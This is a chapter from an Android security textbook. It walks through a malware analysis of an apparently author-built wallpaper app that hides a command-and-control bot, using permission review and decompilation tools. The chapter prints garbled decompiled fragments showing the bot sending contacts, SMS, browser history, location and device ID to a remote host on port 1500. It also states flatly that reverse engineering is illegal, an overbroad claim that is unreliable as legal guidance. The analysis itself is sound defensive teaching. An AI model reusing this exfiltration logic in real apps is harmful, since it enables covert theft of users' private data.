Chapter 6 Reverse Engineering Android Applications
Chapter 6 Reverse Engineering Android Applications
All rights reserved. Reproduction and/or distribution in whole or in part in electronic,paper or other forms without written permission is
prohibited.
Android Security: Attacks and Defenses
The Android BOT walkthrough will include stealing a user's browser history and Short Message Service (SMS) as well as call logs, and it attempts to drain the
phone's battery. We will also present a sample application to show the readers how to reverse engineer or analyze malicious applications. After completing this
chapter, the reader will be able to write Android BOT in Java. The reader will also become familiar with reverse engineering tools and will be able to decompile
any Android application.
6.1 Introduction
Reverse engineering is the process of discovering the technological principles of a device, object, or system through analysis of its structure, function, and
operation (http://en.wikipedia.org/wiki/Reverse_engineering). It often involves taking something (e.g., a mechanical device, electronic component, software
program, or biological, chemical, or organic matter) apart and analyzing its workings in detail to be used in maintenance, or to try to make a new device or
program that does the same thing without using or simply duplicating (without understanding) the original.
The typical user today downloads or buys software and installs it without thinking much about its functionality. A few lines of description and some reviews might
be enough to persuade the user to try it. Except for wellknown software (written by software companies such as Microsoft or Apple) or through the open-source
community, it can be difficult to verify the authenticity of available software or vouch for its functionality. Shareware/trial-ware/free software is available for
personal computers (PCs) and is now available for mobile devices, as well, and only requires one click to install it. Hundreds of software applications pop up
everyday in the marketplace from seasoned to newbie developers.
The problem is compounded for mobile devices, especially Android. With no rigorous security review (or gate) on multiple Android marketplaces, there are many
opportunities for malicious software to be installed on a device. The only gate seems to be during the install process, when the user is asked to approve
requested permissions. After that, the user's trust in an application is complete. Users, therefore, don't understand the full implications of the utilities and
software that they install on their devices. Given the complexity and interdependencies of software installed, it can become confusing even for seasoned
professionals to figure out if a software package is trustworthy. At these times, the need for reverse engineering becomes crucial.
Reverse engineering comprises a set of techniques that can identify how software is going to behave. Often this process can be completed without access to
the source code.
Reverse engineering is useful for the security analysis of software for the following purposes:
1. Identifying malicious software/code: Security companies use reverse engineering techniques to identify how a particular piece of malware (virus, worm,
etc.) behaves and develop a solution to counter it. Reverse engineering can also aid in the development of heuristics that can identify future malicious
software behavior before it can impact users.
2. Discovering flaws/security issues: Reverse engineering is one of the last techniques used by security professionals to validate that software does not
have flaws/issues that can be exploited. For example, reverse engineering can help identify if an application is providing a lot of useful information to an
attacker or has predictable data in the stack/heap.
3. Identifying unintended functionality in software: Reverse engineering might be used by developers of particular software to identify if there are potentially
unintended consequences of its functionality, and if so, they can take appropriate measures to mitigate them.
Reverse engineering has been around for a long time—competitors trying to reverse engineer popular products, the government trying to reverse engineer
defense technologies of their opponents, mathematicians trying to reverse engineer ciphers. However, we would like to note that this chapter is not about
reverse engineering Android applications for any purpose.
It is illegal to reverse engineer software applications. It infringes on the copyrights of developers and companies. It is punishable by law, including copyright laws
and digital rights acts. Our sole purpose in demonstrating techniques in this chapter is to decipher and analyze malicious software. We provide guidelines on
how potentially malicious software can be reviewed and differentiated from legitimate software/downloads.
Android has some useful tools that are available for aiding the reverse engineering process. We have covered some of them in previous chapters, and we will
cover some of them here. We will now walk the reader through the process of analyzing an application (using reverse engineering techniques) for malicious
behavior. The application used here has been developed for demonstration purposes only by the authors of this book.
1. Disrupting regular operations: This type of software is typically designed to prevent systems from being used as desired. Behavior can include gobbling up
all system resources (e.g., disk space, memory, CPU cycles), placing large amounts of traffic on the network to consume the bandwidth, and so forth.
2. Collecting sensitive information without consent: This type of malicious code tries to steal valuable (sensitive) information—for example, key loggers. A
key logger tracks the user's keys and provides them to the attacker. When the user inputs sensitive information (e.g., SSN, credit card numbers, and
passwords), these can all potentially be logged and sent to an attacker.
3. Performing operations on the system without the user's consent: This type of software performs operations on systems/other applications, which it is not
intended to do—for example, a wallpaper application trying to read sensitive files from a banking application or modifying files so that other applications are
impacted.
Page 2 of 15
Reprinted for W15UW/6aau200e, Orange Groups CRC Press, Taylor & Francis Group, LLC (c) 2013, Copying Prohibited
Android Security: Attacks and Defenses
1. Source/Functionality
This is the first step in identifying a potentially suspicious application. If it is available on a non-standard source (e.g., a website instead of the Android
Market), it is prudent to analyze the functionality of the application. In many cases, it might be too late if the user already installed it on a mobile device. In
any case, it is important to note the supposed functionality of an application, which can be analyzed through Steps 2 to 4.
2. Permissions
Now that you have analyzed and you understand the expected behavior of the application, it is time to review the permissions requested by the application.
They should align with the permissions needed to perform expected operations. If an application is asking for more permissions than it should for providing
functionality, it is a candidate for further evaluation.
3. Data
Based on the permissions requested, it is possible to draw a matrix of data elements that it can have access to. Does it align with the expected behavior?
Would the application have access to data not needed for its operations?
4. Connectivity
The final step in our methodology is to analyze the application code itself (covered later). The reviewer needs to determine if the application is opening
sockets (and to which servers), ascertain what type of data is being transmitted (and if securely), and see if it is using any advertising libraries, and so
forth.
The application is available for download from the authors' website (www.androidinsecurity.com) or from the Android Market. If this application was available
only from a non-standard source (e.g., webpage), then it would definitely merit further review. Upon installing the application on an emulator, it seems like an off-
the-shelf wallpaper application (see Figures 6.1 and 6.2).
Figure 6.1: Installing the Wallpaper Application through the Command Line
Page 3 of 15
Reprinted for W15UW/6aau200e, Orange Groups CRC Press, Taylor & Francis Group, LLC (c) 2013, Copying Prohibited
Android Security: Attacks and Defenses
We covered Android permissions in Chapter 4 and how to access the Manifest. xml file (which has the permissions listing) in Chapter 5. Using the apktool on
the Cute Puppies Wallpaper application developed by the authors, we can access the list of permissions requested by this application (see Figures 6.3 and 6.4).
As is evident from Figure 6.4, the application seems to be requesting too many permissions. Table 6.1 summarizes the permissions requested, their uses on the
Android device, and if they are required for a wallpaper application. The application is requesting far too many permissions than are needed.
Table 6.1: Permissions Listed in the AndroidManifest for the Wallpaper Application
Permission Purpose Required?
RECEIVE_BOOT_ Allows an application to receive the ACTION_BOOT_ COMPLETED that is Maybe. The application might need this to set the wallpaper,
COMPLETED broadcast after the system finishes booting depending on the functionality
INTERNET Allows an application to open network sockets Maybe. Application might need this to communicate with the external
server to access new wallpapers
ACCESS_COARSE_ Allows an application to access coarse (e.g., Cell-ID, WiFi) location No. Application does not need location data
Page 4 of 15
Reprinted for W15UW/6aau200e, Orange Groups CRC Press, Taylor & Francis Group, LLC (c) 2013, Copying Prohibited
Android Security: Attacks and Defenses
Table 6.1: Permissions Listed in the AndroidManifest for the Wallpaper Application
Permission Purpose Required?
LOCATION
ACCESS_FINE_LOCATION Allows an application to access fine (e.g., GPS) location No. Application does not need location data
READ_PHONE_STATE Allows read-only access to phone state No. Application does not need to read phone state
SET_WALLPAPER Allows an application to set the wallpaper Yes. This is in line with the application's functionality
WRITE_CONTACTS Allows an application to write (but not read) the user's contacts data No. Application does not need to access contact data
READ_CONTACTS Allows an application to read the user's contacts data No. Application does not need to access contact data
RECEIVE_SMS Allows an application to read SMS messages No. Application does not need to access SMS
READ_OWNER_DATA Custom permission Maybe. Looks suspicious. The application does note need to read
owner data.
READ_HISTORY_ Allows an application to read (but not write) the user's browsing history and No. Application does not need to access history data
BOOKMARKS bookmarks
WRITE_HISTORY_ Allows an application to write (but not read) the user's browsing history and No. Application does not need to access history data
BOOKMARKS bookmarks
Next we analyze the IPC mechanisms used by the application (see Figure 6.5). We look for Intents and Intent filters in the AndroidManifest file. We also analyze
components associated with these Intents (e.g., service, receiver, activity, etc.). Table 6.2 shows the IPC mechanisms defined by the application and our
analysis of them.
Figure 6.5: IPC Mechanisms Used by the Cute Puppies Wallpaper Application
Table 6.2: IPC Mechanisms Used by the Cute Puppies Wallpaper Application
IPC Component Intent Filter Analysis
RECEIVER com.adam. CutePuppiesWallpaper. android.intent.action. BOOT_COMPLETED Receive broadcast once phone boot is completed. Not required
BotBroadcastHandler
RECEIVER com.adam. CutePuppiesWallpaper. BotSMSHandler android.provider. Telephony.SMS_RECEIVED Receive broadcast when SMS is received. Not required
SERVICE com.adam. CutePuppiesWallpaper. BotService com.adam. CutePuppiesWallpaper. Background service. May be needed
BotService
ACTIVITY CutePuppiesWallpaper android.intent.action.MAIN Main activity when the application is launched
Step 4: Analyze Code to Review Open Ports, Data Shared/Transmitted, Socket Connections, and So Forth
Finally, we decompile the application code into readable Java code. We then review the code to gain insight into the application's behavior. The Android
Package files (APK) is a compressed file that contains the classes.dex file, among other things. APK files can be easily decompressed, and classes.dex file can
be extracted. DEX is Java Byte Code for Dalvik Virtual Machine. It is optimized for running on small devices. The dex2jar utility (available from
http://code.google.com/p/dex2jar/downloads/list) allows us to convert classes.dex files into jar files (see Figure 6.6). The resulting jar files can be viewed in a
Java decompiler (e.g., JD) (see Figure 6.7).
Page 5 of 15
Reprinted for W15UW/6aau200e, Orange Groups CRC Press, Taylor & Francis Group, LLC (c) 2013, Copying Prohibited
Android Security: Attacks and Defenses
Figure 6.7: Using Java Decompiler to View Java Code from Decompiled Jar File
Analyze Code for Open Ports, Data Shared/Transmitted, and Open Sockets
We now analyze jar files in a Java de-compiler. As shown in Figure 6.7, opening the classes.jar file in JD-GUI, we see the following class files that comprise the
Java archive (jar file):
1. BotBroadcastHander
2. BotClient
3. BotLocationHandler
4. BotSMSHandler
5. BotService
6. BotWorker
7. CutePuppiesWallpaper
8. R
It seems that CutePuppiesWallpaper is the file in which the main activity might be defined. We look next at the contents of this file through JD-GUI.
As seen from the screenshot depicted in Figure 6.8, this class file defines the integer array that points to wallpaper (defined in the resources R file). It then starts
BotService in the background. We now look at the BotService.class file.
Page 6 of 15
Reprinted for W15UW/6aau200e, Orange Groups CRC Press, Taylor & Francis Group, LLC (c) 2013, Copying Prohibited
Android Security: Attacks and Defenses
As seen from the screenshot depicted in Figure 6.9, when bot service is started it initializes BotClient. The constructor to the BotClient includes an external URL
("k2.homeunix.com") and socket port 1500. It then calls the BotClient. Run() method. We now analyze the BotClient.class file to analyze the functionality defined
there.
Page 7 of 15
Reprinted for W15UW/6aau200e, Orange Groups CRC Press, Taylor & Francis Group, LLC (c) 2013, Copying Prohibited
Android Security: Attacks and Defenses
When the BotClient.Run() method is called, it, in turn, calls ConnectToServer() and then MasterCommandProcessor(). ConnectToServer establishes the socket
connection to the this.hostUri on port this.port. It also creates input and output streams that read/write from this channel (see Figure 6.10). It then starts the
MasterCommandProcessor() thread. Inside Run(), the command from the server is read into localObject1, as shown in Figure 6.11. The value is then checked
against integer values 101 through 106. Depending on the value, the corresponding BotWorker class method is called to return the requested information to the
remote server. For example, if the value of localObject1 is 101, bwr. GetContactInfo is called and contact information is sent to the remote server (see Figure
6.12). SendDataToMaster() writes to the output socket stream, thus sending data to the remote server.
Page 8 of 15
Reprinted for W15UW/6aau200e, Orange Groups CRC Press, Taylor & Francis Group, LLC (c) 2013, Copying Prohibited
Android Security: Attacks and Defenses
BotClient.this.bRunning = false;
Log.v("MCS_BOT_BotClient", "MCS server closed connection");
localIOException.prmtStackTrace();
continue;
}
catch (ClassNotFoundException localClassNotFoundException)
{
localClassNotFoundException.printStackTrace();
}
break;
localClassNotFoundException.put(Inleger.valueOf(101), BotClient.this,bwr.GetContactlnfo());
Log.v("MCS_BOT_BotCLient", "MCS ordered contacts");
continue;
localClassNotFoundException.put(Integer.valueOf(102), BotClient.this.bwr.GetBrowserHistory());
Log.v("MCS_BOT_BotClienf", "MCS Browser History");
continue;
localClassNotFoundException.put(Integer.valueOf(105), BotClient.this.bwr.GetPackagesInstalled());
Log.v("MCS_BOT_BotCLienf", "MCS Get Packages");
continue;
Object localObject2 = BotClient.this.bwr.GetCurrentLocation();
localClassNotFoundException.put(Integer.valueOf(104), localObject2);
Log.v("MCS_BOT_BotClienf", "MCS Get Locations");
continue;
localObject2 = BotClient.this.bwr,GetReceivedSMS();
localClassNotFoundException.put(Integer.valueOf(103), localObject2);
Log.v("MCS_BOT_BotCLient", "MCS Get SMS Messages");
continue;
localObject2 = BotClient.this.bwr.GetDeviceID():
localClassNotFoundException.put(lnteger.valueOf(106), localObject2);
}
}
}
Page 9 of 15
Reprinted for W15UW/6aau200e, Orange Groups CRC Press, Taylor & Francis Group, LLC (c) 2013, Copying Prohibited
Android Security: Attacks and Defenses
As shown in Figures 6.12 and 6.13, depending on the value of localObject1, BotClient calls various methods in BotWorker class. For example, if the value of
localObject1 is 101, BotWorker.GetContactInfo() is called by BotClient. The actual function of getting contact information from the device is defined in the
BotWorker class. This class also defines similar methods to obtain browser history, device information, package information, and SMS data (see Figure 6.14).
Table 6.3 lists various methods defined in BotWorker class.
Page 10 of 15
Reprinted for W15UW/6aau200e, Orange Groups CRC Press, Taylor & Francis Group, LLC (c) 2013, Copying Prohibited
Android Security: Attacks and Defenses
Page 11 of 15
Reprinted for W15UW/6aau200e, Orange Groups CRC Press, Taylor & Francis Group, LLC (c) 2013, Copying Prohibited
Android Security: Attacks and Defenses
((Cursor)localObjectl).moveToFirst();
if (((Cursor)localObjectl).getCount() > 0)
Strl = ((Cursor)localObjectl).getString(((Cursor)localObpectl).getColumnIndex("datal'-));
((Cursor)localObjectl).close();
}
Object localObjectl = "";
ContentResolver localContentResolver = this.cr;
Object localObject3 = ContactsContract.ConmonDataKLnds.Email. CQNTBNT_URI;
Object localObject2 = new String[l];
localObject2[0] = str2;
localObject2 = localContentResolver.query((Uri)localObject3, null, "contact_id = ?", localObject2, null);
((Cursor)localObject2).moveToFirst();
if (((Cursor)localObject2).getCount() > 0)
localObjectl = ((Cursor)localObject2).getString(((Cursar)localObject2).getColumnIndex("dotal"));
((Cursor)localObject2). Close();
localArrayList.add(str3);
localArrayList.add(strl);
localArrayList.add(localObjectl);
localHashtable.put(str2, localArrayList);
}
return (Hashtable<String, ArrayList<String>>)(Hashtable<String, ArrayList<String>>)(Hashtable<String, ArrayList<String>>)localHashtable;
}
Page 12 of 15
Reprinted for W15UW/6aau200e, Orange Groups CRC Press, Taylor & Francis Group, LLC (c) 2013, Copying Prohibited
Android Security: Attacks and Defenses
BotClient calls bwr.GetCurrentLocation() to obtain location data. This, in turn, calls BotLocationHandler().GetLastLocation() defined in the
BotLocationHanlder.class. It obtains the current location of the BOT client (Figure 6.23).
BotClient calls bwr.GetReceivedSMS() to obtain SMS data. GetReceivedSMS() in BotWorker calls GetMessages() defined in BotSMSHandler class.
onReceive() in the class listens for incoming SMS messages and buffers them to send them to the remote server (Figure 6.24).
Page 13 of 15
Reprinted for W15UW/6aau200e, Orange Groups CRC Press, Taylor & Francis Group, LLC (c) 2013, Copying Prohibited
Android Security: Attacks and Defenses
Based on our analysis so far, we can conclude that the CutePuppiesWallpaper application is malicious. As soon as the application is launched, it starts a
background service. The application contains a proof-of-concept BOT, which connects to the master Command and Control Center (CnC) using socket
connections. It then waits for commands from the CnC. The center can send different commands to BOT on the device.
Although it is supposed to be a wallpaper application, it requests permission, such as RECEIVE_SMS, and defines Intent filters for SMS receivers. By
performing a code analysis, we conclude that it creates a backdoor to a remote server. Based on commands sent by the remote server, it can transfer any of the
following information to the BOT server: contact information, browser history, SMS messages, location (including GPS co-ordinates), packages installed on the
device, IMEI number of the device, and so forth.
From Figure 6.12, we can construct Table 6.4, illustrating different commands sent by the BOT Master.
From our analysis, we can conclude the workflow of the CutePuppies Wallpaper application (see Figure 6.25).
Page 14 of 15
Reprinted for W15UW/6aau200e, Orange Groups CRC Press, Taylor & Francis Group, LLC (c) 2013, Copying Prohibited
Android Security: Attacks and Defenses
A user downloads the application from either the Android Market or through another source and installs it on the device. When the user launches the application
on the device, the BOT service gets started in the background and the BOT client contacts the CnC. The BOT server establishes a connection with the client
and sends a command to the BOT client. The BOT client processes the command from the CnC and sends data back to the server.
6.5 Summary
In this chapter, we discussed malware and behavior that constitutes malware. We then discussed malicious behavior in the context of Android applications and
walked the reader through the methodology available to analyze Android applications for malicious behavior. We then covered a case study where we
demonstrated a step-by-step analysis of a malware application to determine its behavior and functionality.
Page 15 of 15
Reprinted for W15UW/6aau200e, Orange Groups CRC Press, Taylor & Francis Group, LLC (c) 2013, Copying Prohibited